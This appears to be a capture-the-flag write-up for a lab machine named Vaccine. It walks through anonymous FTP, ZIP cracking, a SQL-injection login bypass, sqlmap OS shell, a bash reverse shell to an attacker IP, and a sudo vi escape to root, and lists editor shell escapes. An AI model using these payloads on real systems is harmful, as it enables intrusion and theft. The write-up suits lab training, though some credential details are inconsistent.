TL;DR

Vaccine exposes FTP with anonymous access, serving a password-protected backup.zip. John cracks the password to qwerty789 — the same password for the web admin. The PHP login is SQL-injectable (' OR '1'='1), but credentials from the ZIP also work. sqlmap with --os-shell gives a shell as postgres. sudo -l reveals /bin/vi runnable as root — :!/bin/bash escapes to root.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

21/tcp open  ftp     vsftpd 3.0.3
              ftp-anon: Anonymous FTP login allowed
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41

2. FTP anonymous login

$ ftp 10.129.x.x
Connected to 10.129.x.x.
Name: anonymous
331 Please specify the password.
Password: [empty]
ftp> ls
-rwxr-xr-x    1 0  0   2533 Apr 13 2021 backup.zip
ftp> get backup.zip

3. ZIP password cracking

$ zip2john backup.zip > zip.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
qwerty789        (backup.zip/index.php)

Contents: index.php and style.css — the web application source. index.php reveals the admin credentials used in the database.

Web Application

4. Login bypass via SQL injection

The login form in index.php:

$sql="SELECT * FROM users WHERE username='".$_POST['username']."' and password='".$_POST['password']."'";

Classic unsanitized string concatenation. Bypass:

username: admin' OR '1'='1'--
password: anything

This evaluates to WHERE username='admin' OR '1'='1' — always true, returns first row.

Alternatively, the ZIP contents revealed the admin password (use it directly in the login form).

5. sqlmap OS shell

The application passes user input directly to PostgreSQL:

$ sqlmap -u "http://10.129.x.x/" \
  --forms --dbms=PostgreSQL \
  --os-shell

os-shell> id
uid=111(postgres) gid=117(postgres) groups=117(postgres)

6. Upgrade to interactive shell

os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'

# nc listener catches:
postgres@vaccine:/var/lib/postgresql/11/main$

$ cat /var/www/html/dashboard.php | grep pass
$conn = pg_connect("host=localhost dbname=carsdb user=postgres password=P@s5w0rd!");

Password: P@s5w0rd! — used later for SSH.

$ ssh ftpuser@10.129.x.x
ftpuser@vaccine:~$ cat user.txt
[user flag]

Privilege Escalation

7. sudo enumeration

ftpuser@vaccine:~$ sudo -l
User ftpuser may run the following commands on vaccine:
    (ALL) NOPASSWD: /bin/vi /etc/postgresql/11/main/pg_hba.conf

vi is runnable as root (via sudo) to edit the PostgreSQL config file.

8. vi shell escape → root

ftpuser@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# In vi normal mode:
:!/bin/bash
root@vaccine:/etc/postgresql/11/main# id
uid=0(root) gid=0(root) groups=0(root)
root@vaccine:~# cat root.txt
[root flag]

What’s actually broken

#VulnerabilitySeverity
1FTP anonymous access serving sensitive archiveHigh
2SQL injection in login form (no parameterized queries)Critical
3Weak ZIP password (qwerty789)High
4vi in sudo rules (allows shell escape)Critical
5Database credentials in dashboard.phpMedium

Lessons learned

  • sudo with editors = root shell. Any text editor in sudo rules allows shell escape. vi: :!/bin/sh. nano: Ctrl+R Ctrl+X. Less: !sh. Check GTFOBins for your specific editor.
  • Parameterized queries prevent all SQLi. PHP PDO: $stmt = $pdo->prepare('SELECT * FROM users WHERE username=? AND password=?'); $stmt->execute([$user, $pass]); — no injection possible regardless of input.
  • FTP anonymous directories should be read-only. If FTP is needed for anonymous download, ensure no write access and never expose sensitive files. Better: use HTTPS.
  • Reused passwords between services compound vulnerabilities. The ZIP password matching the web admin password is a single point of failure — cracking one reveals the other.

Decision archaeology

ApproachResultPivot
Cracked ZIP before attempting web exploitationZIP might contain credentials usable for webFound admin pass + source code showing SQLi
Used sqlmap instead of manual SQLi for RCEManual COPY TO PROGRAM syntax was failingsqlmap –os-shell worked reliably
Used vi escape over pg_dump for privescvi escape is simpler; pg_dump also exploitable but requires more stepsGot root in one command
Tried ftp anonymous login with password qwerty789FTP PASS qwerty789 → 530 Login incorrect — FTP only accepts anonymous/blank password, not web-cracked passwordReverted to anonymous:anonymous for FTP access; qwerty789 was exclusively for web admin login

References